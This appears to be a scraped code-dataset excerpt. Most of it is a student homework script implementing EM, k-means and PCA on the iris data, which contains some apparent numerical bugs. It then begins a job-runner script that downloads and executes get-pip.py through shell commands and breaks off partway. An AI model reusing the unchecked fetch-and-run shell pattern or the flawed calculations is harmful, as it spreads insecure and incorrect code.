final_centers, cum_dist, km_labels_pca = k_means(x_2dim_pca ,nr_components, initial_centers, max_iter, tol)\n\n            # Plots for k-means\n            plt.plot(cum_dist)\n            plt.xlabel(\"Iterations\")\n            plt.ylabel(\"Distance\")\n            plt.title(\"k-means cumulative distance\")\n            plt.show()\n\n            plot_kmeans(x_2dim_pca, km_labels_pca, feature_names[0], feature_names[2], final_centers, \"k-means PCA\")\n\n        #TODO: visualize your results\n        #TODO: compare PCA as pre-processing (3.) to PCA as post-processing (after 2.)\n\n#--------------------------------------------------------------------------------\n#--------------------------------------------------------------------------------\ndef init_EM(dimension=2,nr_components=3, scenario=None, X=None):\n    \"\"\" initializes the EM algorithm\n    Input:\n        dimension... dimension D of the dataset, scalar\n        nr_components...scalar\n        scenario... (optional) parameter that allows to further specify the settings, scalar\n        X... (optional) samples that may be used for proper inititalization, nr_samples x dimension(D)\n    Returns:\n        alpha_0... initial weight of each component, 1 x nr_components\n        mean_0 ... initial mean values, D x nr_components\n        cov_0 ...  initial covariance for each component, D x D x nr_components\"\"\"\n\n    alpha_0 = np.ones((1, nr_components))/nr_components\n    mean_0 = np.ones((dimension, nr_components))\n    cov_0 = np.ones((dimension, dimension, nr_components))\n\n    if X is not None:\n        mean = np.mean(X)\n        summe = 0\n        for _, x_n in enumerate(X):\n            diff = x_n-mean\n            diff = diff.reshape((dimension,1))\n            summe += np.matmul(diff, diff.T)\n\n        cov = (summe/nr_components)\n        cov_0 = np.tile(cov,(nr_components,1,1)).T\n\n        mean_0 = X[np.random.choice(X.shape[0], nr_components, replace=False)].T\n\n    #Best values for plot\n    if False:\n        mean_0[0][0] = 5.00600066\n        mean_0[0][1] = 5.96810282\n        mean_0[0][2] = 6.535967\n\n        mean_0[1][0] = 1.46199854\n        mean_0[1][1] = 4.01009197\n        mean_0[1][2] = 5.49963309\n\n        cov_0 = [[[0.12176427, 0.28003145, 0.42380503],[0.01602834, 0.20985688, 0.3422579 ]],\n                [[0.01602834, 0.20985688, 0.3422579 ],[0.02955546, 0.23795915, 0.35377924]]]\n\n        cov_0 = np.array(cov_0)\n\n    return (alpha_0, mean_0, cov_0)\n#--------------------------------------------------------------------------------\ndef EM(X,K,alpha_0,mean_0,cov_0, max_iter, tol):\n    \"\"\" perform the EM-algorithm in order to optimize the parameters of a GMM\n    with K components\n    Input:\n        X... samples, nr_samples x dimension (D)\n        K... nr of components, scalar\n        alpha_0... initial weight of each component, 1 x K\n        mean_0 ... initial mean values, D x K\n        cov_0 ...  initial covariance for each component, D x D x K\n    Returns:\n        alpha... final weight of each component, 1 x K\n        mean...  final mean values, D x K\n        cov...   final covariance for ech component, D x D x K\n        log_likelihood... log-likelihood over all iterations, nr_iterations x 1\n        labels... class labels after performing soft classification, nr_samples x 1\"\"\"\n    # compute the dimension\n    D = X.shape[1]\n    assert D == mean_0.shape[0]\n    #TODO: iteratively compute the posterior and update the parameters\n\n    mean_0 = mean_0.T\n    cov_0 = cov_0.T\n    alpha_0 = alpha_0.T\n\n    r = np.zeros((K, X.shape[0]))\n\n    log_likelihood = []\n\n    N = X.shape[0]\n\n    for i in range(max_iter):\n\n        r = em_expectation(N,K,alpha_0, X,mean_0, cov_0)\n\n        em_maximization(N,K,alpha_0, X,mean_0, cov_0, r)\n\n        #calc log_likelihood per iteration\n        log_likelihood_it = em_likelyhood_calc(N,K,alpha_0, X,mean_0, cov_0)\n        \n        log_likelihood.append(log_likelihood_it)\n        if len(log_likelihood) > 1:\n            pass\n        if len(log_likelihood) > 1 and np.abs(log_likelihood[-1] - log_likelihood[-2]) < tol:\n            break\n\n    labels = np.zeros(N, dtype=np.int)\n    for n in range(N):\n        value = np.zeros(K)\n        for k in range(K):\n            value[k] = alpha_0[k] * likelihood_multivariate_normal(X[n], mean_0[k], cov_0[k])\n        labels[n] = np.argmax(value)\n\n    return alpha_0, mean_0, cov_0, log_likelihood, labels\n\n#--------------------------------------------------------------------------------\ndef em_expectation(N, K, alpha_0, X, mean_0, cov_0):\n    r = np.zeros((K, X.shape[0]))\n    #calc r\n    for n in range(N):\n        for k in range(K):\n            r_nenner = 0\n            for k_ in range(K):\n                r_nenner += alpha_0[k_] * likelihood_multivariate_normal(X[n], mean_0[k_], cov_0[k_])\n\n            r[k][n] = alpha_0[k] * likelihood_multivariate_normal(X[n], mean_0[k], cov_0[k]) / r_nenner\n    return r\n\n#--------------------------------------------------------------------------------\ndef em_maximization(N, K, alpha_0, X, mean_0, cov_0, r):\n    #calc new alpha, mean and cov\n    for k in range(K):\n        #calc mean_0 new\n        mean_temp = 0\n        N_k = 0\n\n        for n in range(N):\n            mean_temp += r[k][n]*X[n]\n\n            #calc N_k and N for later use\n            N_k += r[k][n]\n\n        mean_0[k] = mean_temp / N_k\n\n        #calc cov_0 new\n        cov_temp = 0\n        for n in range(N):\n            cov_temp += r[k][n] *  np.multiply.outer((X[n] - mean_0[k]), (X[n] - mean_0[k]))\n\n        cov_0[k] = cov_temp / N_k\n\n        #calc alpha_0 new\n        alpha_0[k] = N_k / N\n\n#--------------------------------------------------------------------------------\ndef em_likelyhood_calc(N, K, alpha_0, X, mean_0, cov_0):\n    #calc log_likelihood per iteration\n    log_likelihood_it = 0\n\n    for n in range(N):\n        temp = 0\n        for k in range(K):\n            temp += alpha_0[k] * likelihood_multivariate_normal(X[n], mean_0[k], cov_0[k],log=False)\n        log_likelihood_it += np.log(temp)\n    return log_likelihood_it\n\n#--------------------------------------------------------------------------------\ndef init_k_means(dimension=None, nr_clusters=None, scenario=None, X=None):\n    \"\"\" initializes the k_means algorithm\n    Input:\n        dimension... dimension D of the dataset, scalar\n        nr_clusters...scalar\n        scenario... (optional) parameter that allows to further specify the settings, scalar\n        X... (optional) samples that may be used for proper inititalization, nr_samples x dimension(D)\n    Returns:\n        initial_centers... initial cluster centers,  D x nr_clusters\"\"\"\n    #TODO: choose suitable inital values for each scenario\n    return X[np.random.choice(X.shape[0], nr_clusters, replace=False)].T\n\n#--------------------------------------------------------------------------------\ndef k_means(X,K, centers_0, max_iter, tol):\n    \"\"\" perform the KMeans-algorithm in order to cluster the data into K clusters\n    Input:\n        X... samples, nr_samples x dimension (D)\n        K... nr of clusters, scalar\n        centers_0... initial cluster centers,  D x nr_clusters\n    Returns:\n        centers... final centers, D x nr_clusters\n        cumulative_distance... cumulative distance over all iterations, nr_iterations x 1\n        labels... class labels after performing hard classification, nr_samples x 1\"\"\"\n    D = X.shape[1]\n    assert D == centers_0.shape[0]\n    #TODO: iteratively update the cluster centers\n\n    #indices of closest centers for each point\n    nearest_centers = np.zeros(X.shape[0], dtype=np.int)\n    centers = centers_0.T\n    cumulative_distance = np.ndarray((0,1))\n\n    for i in range(max_iter):\n        distance_sum = 0\n\n        for x_index, x in enumerate(X):\n            # find closest center\n            min_dist = np.inf\n            for center_index, center in enumerate(centers):\n                dist = np.linalg.norm(x-center)\n                if dist < min_dist:\n                    min_dist = dist\n                    distance_sum+=dist\n                    nearest_centers[x_index] = center_index\n\n        if i == 0 or np.abs(distance_sum - cumulative_distance[i-1]) > tol:\n            cumulative_distance = np.append(cumulative_distance, distance_sum)\n            # set new centers\n            centers = np.zeros((K, X.shape[1]))\n            for x_index, center_index in enumerate(nearest_centers):\n                centers[center_index] += 1/len([x for x in nearest_centers if x == center_index]) * X[x_index]\n        else:\n            break\n\n    return centers.T, cumulative_distance, nearest_centers\n\n\n    #TODO: classify all samples after convergence\n\n#--------------------------------------------------------------------------------\ndef PCA(data,nr_dimensions=None, whitening=False):\n    \"\"\" perform PCA and reduce the dimension of the data (D) to nr_dimensions\n    Input:\n        data... samples, nr_samples x D\n        nr_dimensions... dimension after the transformation, scalar\n        whitening... False -> standard PCA, True -> PCA with whitening\n\n    Returns:\n        transformed data... nr_samples x nr_dimensions\n        variance_explained... amount of variance explained by the the first nr_dimensions principal components, scalar\"\"\"\n    if nr_dimensions is not None:\n        dim = nr_dimensions\n    else:\n        dim = 2\n\n    if whitening:\n        X_centered = data - np.mean(data, axis=0)\n        Sigma = np.dot(X_centered.T, X_centered) / X_centered.shape[0]\n        U, L, _ = np.linalg.svd(Sigma)\n        W = np.dot(np.diag(1.0 / np.sqrt(L + 1e-5)), U.T)\n        data = np.dot(X_centered, W.T)\n\n    data = data.T\n    var_bef = np.var(data)\n\n    cov_matrix = np.cov([data[0, :], data[1, :], data[2, :], data[3, :]])\n\n    eig_values, eig_vector = np.linalg.eig(cov_matrix)\n\n    eigs = [(np.abs(eig_values[i]), eig_vector[:, i]) for i in range(len(eig_values))]\n    eigs.sort(key=lambda x: x[0], reverse=True)\n\n    transform_mat = np.hstack((eigs[0][1].reshape(4, 1), -eigs[1][1].reshape(4, 1))).T\n    transformed = transform_mat.dot(data)\n\n    var_aft = np.var(transformed)\n\n    variance_explained = (eig_values[0] + eig_values[1]) / np.sum(eig_values)\n\n    return transformed.T, variance_explained\n\n#--------------------------------------------------------------------------------\ndef plot_kmeans(data, labels, x_axis, y_axis, centers, title):\n    #reassign labels for kmeans\n    new_labels = reassign_class_labels(labels)\n    reshuffled_labels =np.zeros_like(labels)\n    reshuffled_labels[labels==0] = new_labels[0]\n    reshuffled_labels[labels==1] = new_labels[1]\n    reshuffled_labels[labels==2] = new_labels[2]\n\n    # print kmeans plot\n    plt.scatter(data[reshuffled_labels==0,0], data[reshuffled_labels==0,1], label='Iris-Setosa')\n    plt.scatter(data[reshuffled_labels==1,0], data[reshuffled_labels==1,1], label='Iris-Versicolor')\n    plt.scatter(data[reshuffled_labels==2,0], data[reshuffled_labels==2,1], label='Iris-Virgnica')\n    plt.scatter(centers[0], centers[1], label='Centers', marker=\"x\", color=\"black\")\n    plt.xlabel(x_axis)\n    plt.ylabel(y_axis)\n    plt.title(title)\n    plt.legend()\n    plt.show()\n#--------------------------------------------------------------------------------\n#--------------------------------------------------------------------------------\n# Helper Functions\n#--------------------------------------------------------------------------------\ndef load_iris_data():\n    \"\"\" loads and modifies the iris data-set\n    Input:\n    Returns:\n        X... samples, 150x4\n        Y... labels, 150x1\n        feature_names... name of the data columns\"\"\"\n    iris = datasets.load_iris()\n    X = iris.data\n    X[50:100,2] =  iris.data[50:100,2]-0.25\n    Y = iris.target\n    return X,Y, iris.feature_names\n#--------------------------------------------------------------------------------\ndef plot_iris_data(data, labels, x_axis, y_axis, title):\n    \"\"\" plots a 2-dim slice according to the specified labels\n    Input:\n        data...  samples, 150x2\n        labels...labels, 150x1\n        x_axis... label for the x_axis\n        y_axis... label for the y_axis\n        title...  title of the plot\"\"\"\n\n    plt.scatter(data[labels==0,0], data[labels==0,1], label='Iris-Setosa')\n    plt.scatter(data[labels==1,0], data[labels==1,1], label='Iris-Versicolor')\n    plt.scatter(data[labels==2,0], data[labels==2,1], label='Iris-Virgnica')\n    #plt.scatter(data[labels==0,0], data[labels==0,1], label='nr_component 1')\n    #plt.scatter(data[labels==1,0], data[labels==1,1], label='nr_component 2')\n    #plt.scatter(data[labels==2,0], data[labels==2,1], label='nr_component 3')\n    #plt.scatter(data[labels==3,0], data[labels==3,1], label='nr_component 4')\n    plt.xlabel(x_axis)\n    plt.ylabel(y_axis)\n    plt.title(title)\n    plt.legend()\n    plt.show()\n#--------------------------------------------------------------------------------\ndef likelihood_multivariate_normal(X, mean, cov, log=False):\n   \"\"\"Returns the likelihood of X for multivariate (d-dimensional) Gaussian\n   specified with mu and cov.\n\n   X  ... vector to be evaluated -- np.array([[x_00, x_01,...x_0d], ..., [x_n0, x_n1, ...x_nd]])\n   mean ... mean -- [mu_1, mu_2,...,mu_d]\n   cov ... covariance matrix -- np.array with (d x d)\n   log ... False for likelihood, true for log-likelihood\n   \"\"\"\n\n   dist = multivariate_normal(mean, cov)\n   if log is False:\n       P = dist.pdf(X)\n   elif log is True:\n       P = dist.logpdf(X)\n   return P\n\n#--------------------------------------------------------------------------------\ndef plot_gauss_contour(mu,cov,xmin,xmax,ymin,ymax,nr_points,title=\"Title\"):\n    \"\"\" creates a contour plot for a bivariate gaussian distribution with specified parameters\n\n    Input:\n      mu... mean vector, 2x1\n      cov...covariance matrix, 2x2\n      xmin,xmax... minimum and maximum value for width of plot-area, scalar\n      ymin,ymax....minimum and maximum value for height of plot-area, scalar\n      nr_points...specifies the resolution along both axis\n      title... title of the plot (optional), string\"\"\"\n\n\t#npts = 100\n    delta_x = float(xmax-xmin) / float(nr_points)\n    delta_y = float(ymax-ymin) / float(nr_points)\n    x = np.arange(xmin, xmax, delta_x)\n    y = np.arange(ymin, ymax, delta_y)\n\n\n    X, Y = np.meshgrid(x, y)\n    pos = np.dstack((X, Y))\n\n    Z = multivariate_normal(mu, cov).pdf(pos)\n    plt.plot([mu[0]],[mu[1]],'r+') # plot the mean as a single point\n    CS = plt.contour(X, Y, Z)\n    plt.clabel(CS, inline=1, fontsize=10)\n    #plt.show()\n    return\n#--------------------------------------------------------------------------------\ndef sample_discrete_pmf(X, PM, N):\n    \"\"\"Draw N samples for the discrete probability mass function PM that is defined over\n    the support X.\n\n    X ... Support of RV -- np.array([...])\n    PM ... P(X) -- np.array([...])\n    N ... number of samples -- scalar\n    \"\"\"\n    assert np.isclose(np.sum(PM), 1.0)\n    assert all(0.0 <= p <= 1.0 for p in PM)\n\n    y = np.zeros(N)\n    cumulativePM = np.cumsum(PM) # build CDF based on PMF\n    offsetRand = np.random.uniform(0, 1) * (1 / N) # offset to circumvent numerical issues with cumulativePM\n    comb = np.arange(offsetRand, 1 + offsetRand, 1 / N) # new axis with N values in the range ]0,1[\n\n    j = 0\n    for i in range(0, N):\n        while comb[i] >= cumulativePM[j]: # map the linear distributed values comb according to the CDF\n            j += 1\n        y[i] = X[j]\n\n    return np.random.permutation(y) # permutation of all samples\n#--------------------------------------------------------------------------------\ndef reassign_class_labels(labels):\n    \"\"\" reassi    #TODO calc covariancegns the class labels in order to make the result comparable.\n    new_labels contains the labels that can be compared to the provided data,\n    i.e., new_labels[i] = j means that i corresponds to j.\n    Input:\n        labels... estimated labels, 150x1\n    Returns:\n        new_labels... 3x1\"\"\"\n    class_assignments = np.array([[np.sum(labels[0:50]==0)   ,  np.sum(labels[0:50]==1)   , np.sum(labels[0:50]==2)   ],\n                                  [np.sum(labels[50:100]==0) ,  np.sum(labels[50:100]==1) , np.sum(labels[50:100]==2) ],\n                                  [np.sum(labels[100:150]==0),  np.sum(labels[100:150]==1), np.sum(labels[100:150]==2)]])\n    new_labels = np.array([np.argmax(class_assignments[:,0]),\n                           np.argmax(class_assignments[:,1]),\n                           np.argmax(class_assignments[:,2])])\n    return new_labels\n#--------------------------------------------------------------------------------\ndef sanity_checks():\n    # likelihood_multivariate_normal\n    mu =  [0.0, 0.0]\n    cov = [[1, 0.2],[0.2, 0.5]]\n    x = np.array([[0.9, 1.2], [0.8, 0.8], [0.1, 1.0]])\n    P = likelihood_multivariate_normal(x, mu, cov)\n    print(P)\n\n    plot_gauss_contour(mu, cov, -2, 2, -2, 2,100, 'Gaussian')\n\n    # sample_discrete_pmf\n    PM = np.array([0.2, 0.5, 0.2, 0.1])\n    N = 1000\n    X = np.array([1, 2, 3, 4])\n    Y = sample_discrete_pmf(X, PM, N)\n\n    print('Nr_1:', np.sum(Y == 1),\n          'Nr_2:', np.sum(Y == 2),\n          'Nr_3:', np.sum(Y == 3),\n          'Nr_4:', np.sum(Y == 4))\n\n    # re-assign labels\n    class_labels_unordererd = np.array([2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,\n       2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,\n       2, 2, 2, 2, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1,\n       0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,\n       0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0,\n       0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0,\n       0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0])\n    new_labels = reassign_class_labels(class_labels_unordererd)\n    reshuffled_labels =np.zeros_like(class_labels_unordererd)\n    reshuffled_labels[class_labels_unordererd==0] = new_labels[0]\n    reshuffled_labels[class_labels_unordererd==1] = new_labels[1]\n    reshuffled_labels[class_labels_unordererd==2] = new_labels[2]\n\n#--------------------------------------------------------------------------------\n#--------------------------------------------------------------------------------\nif __name__ == '__main__':\n\n    #sanity_checks()\n    main()\n", "repo_name": "basti00/CI_2020", "sub_path": "HW5/code/skeleton_HW5.py", "file_name": "skeleton_HW5.py", "file_ext": "py", "file_size_in_byte": 23586, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.pyplot.plot", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 148, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 149, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 149, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 150, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 186, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 229, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 247, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 250, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 250, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 252, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.multiply.outer", "line_number": 291, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 291, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 307, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 321, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 321, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 339, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 339, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 341, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 348, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 350, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 350, "usage_type": "attribute"}, {"api_name": "numpy.abs", "line_number": 356, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 357, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 359, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 387, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 388, "usage_type": "call"}, {"api_name": "numpy.linalg.svd", "line_number": 389, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 389, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 390, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 390, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 390, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 391, "usage_type": "call"}, {"api_name": "numpy.var", "line_number": 394, "usage_type": "call"}, {"api_name": "numpy.cov", "line_number": 396, "usage_type": "call"}, {"api_name": "numpy.linalg.eig", "line_number": 398, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 398, "usage_type": "attribute"}, {"api_name": "numpy.abs", "line_number": 400, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 403, "usage_type": "call"}, {"api_name": "numpy.var", "line_number": 406, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 408, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 416, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 422, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 422, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 423, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 423, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 424, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 424, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 425, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 425, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 426, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 426, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 427, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 427, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 428, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 428, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 429, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 429, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 430, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 430, "usage_type": "name"}, {"api_name": "sklearn.datasets.load_iris", "line_number": 442, "usage_type": "call"}, {"api_name": "sklearn.datasets", "line_number": 442, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 457, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 457, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 458, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 458, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 459, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 459, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 464, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 464, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 465, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 465, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 466, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 466, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 467, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 467, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 468, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 468, "usage_type": "name"}, {"api_name": "scipy.stats.multivariate_normal", "line_number": 480, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 502, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 503, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 506, "usage_type": "call"}, {"api_name": "numpy.dstack", "line_number": 507, "usage_type": "call"}, {"api_name": "scipy.stats.multivariate_normal", "line_number": 509, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 510, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 510, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.contour", "line_number": 511, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 511, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clabel", "line_number": 512, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 512, "usage_type": "name"}, {"api_name": "numpy.isclose", "line_number": 524, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 524, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 527, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 528, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 529, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 529, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 530, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 538, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 538, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 548, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 548, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 549, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 550, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 551, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 551, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 552, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 553, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 560, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 567, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 569, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 572, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 573, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 574, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 575, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 578, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 586, "usage_type": "call"}]}
{"seq_id": "4812898983", "text": "#!/usr/bin/env python\nimport subprocess\nimport logging\nimport sys\nimport os\nimport json\nfrom os.path import join\n\n\nMAIN_DIR = os.path.expanduser('~/.dakis')\nJOBS_DIR = join(MAIN_DIR, 'jobs')\n\n\ndef prepare_environment():\n    '''Prepares ~/.dakis directory and installs Python packages'''\n    subprocess.Popen('mkdir -p %s && mv %s %s' % (JOBS_DIR, sys.argv[0], MAIN_DIR), shell=True)\n    cmds = [\n        'cd %s' % MAIN_DIR,\n        'wget https://bootstrap.pypa.io/get-pip.py',\n        'python get-pip.py --user',\n        'rm get-pip.py',\n        'pip install --user requests argparse || ~/.local/bin/pip install --user requests argparse',\n    ]\n    subprocess.Popen(' && '.join(cmds), shell=True)\n    p1 = subprocess.Popen(' && '.join(cmds), shell=True)\n    p1.communicate()    # Wait till command is finished\n    print(\"\\n == Successfully prepared Dakis environment == \\n\")\n\n\ndef parse_json(value):\n    if type(value) == str or type(value) == unicode:\n        return json.loads(value.replace(\"'\", '\"'))\n    return value\n\n\ndef get_job_filename(exp_id, resp_json):\n    input_values = dict(parse_json(resp_json['input_values']))\n    if input_values.get('func_cls') and input_values.get('func_id'):\n        job_filename = join(JOBS_DIR, 'e%dc%df%d.sh' % (exp_id, input_values['func_cls'], input_values['func_id']))\n    else:\n        job_filename = join(JOBS_DIR, 'e%dt%d.sh' % (exp_id, resp_json.get('task_id') or resp_json.get('id')))\n    return job_filename\n\ndef was_called_in_supercomputer():\n    is_qsub_installed = subprocess.Popen('which qsub', stdout=subprocess.PIPE, shell=True)\n    return bool(is_qsub_installed.communicate()[0])\n\ndef run_next_task(exp_id):\n    '''Get task data, prepare executable, check if supercomputer, run_task.'''\n    resp = 